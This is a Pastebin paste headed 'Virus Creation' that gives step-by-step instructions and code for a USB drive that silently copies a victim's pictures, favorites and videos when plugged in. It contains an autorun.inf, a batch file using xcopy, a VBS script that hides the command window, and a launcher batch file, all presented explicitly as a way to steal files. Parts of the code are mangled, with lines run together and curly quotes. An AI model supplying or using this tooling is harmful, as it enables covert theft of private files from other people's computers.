daily pastebin goal
9%
SHARE
TWEET

how to copy all files to a pendrive

qhosty Mar 23rd, 2019 69 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. "gofuckyourself"
  2. Virus Creation :
  3. How to copy (steal) files from a computer to a pendrive
  4. STEP 1
  5.  Open Notepad (I recommend Notepad++)
  6. and copy-paste the following lines.
  7.  
  8. [autorun] icon=drive.ico open=launch.bat action=Click OK to Run shell\open\command=launch.bat Save this as autorun.inf   @echo off :: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off %backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics” %backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites” %backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids” @echo off cls
  9. Save this as file.bat
  10.  This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy. The first file path
  11.  
  12. “%USERPROFILE%\pictures” – is the target. The second file path “%drive%\all\My pics” – is the destination.
  13.  
  14. STEP 3 Open Notepad once again and copy-paste the following line.
  15.  
  16. CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0,
  17. False
  18.  
  19. Save this as invisible.vbs This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.
  20.  
  21. STEP 4 Open Notepad one last time and copy-paste the following line.
  22.  
  23. wscript.exe \invisible.vbs file.bat
  24.  
  25. Save this as launch.bat
  26. This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.
  27.  
  28. STEP 5 Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2. This is all that needs to be done.
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top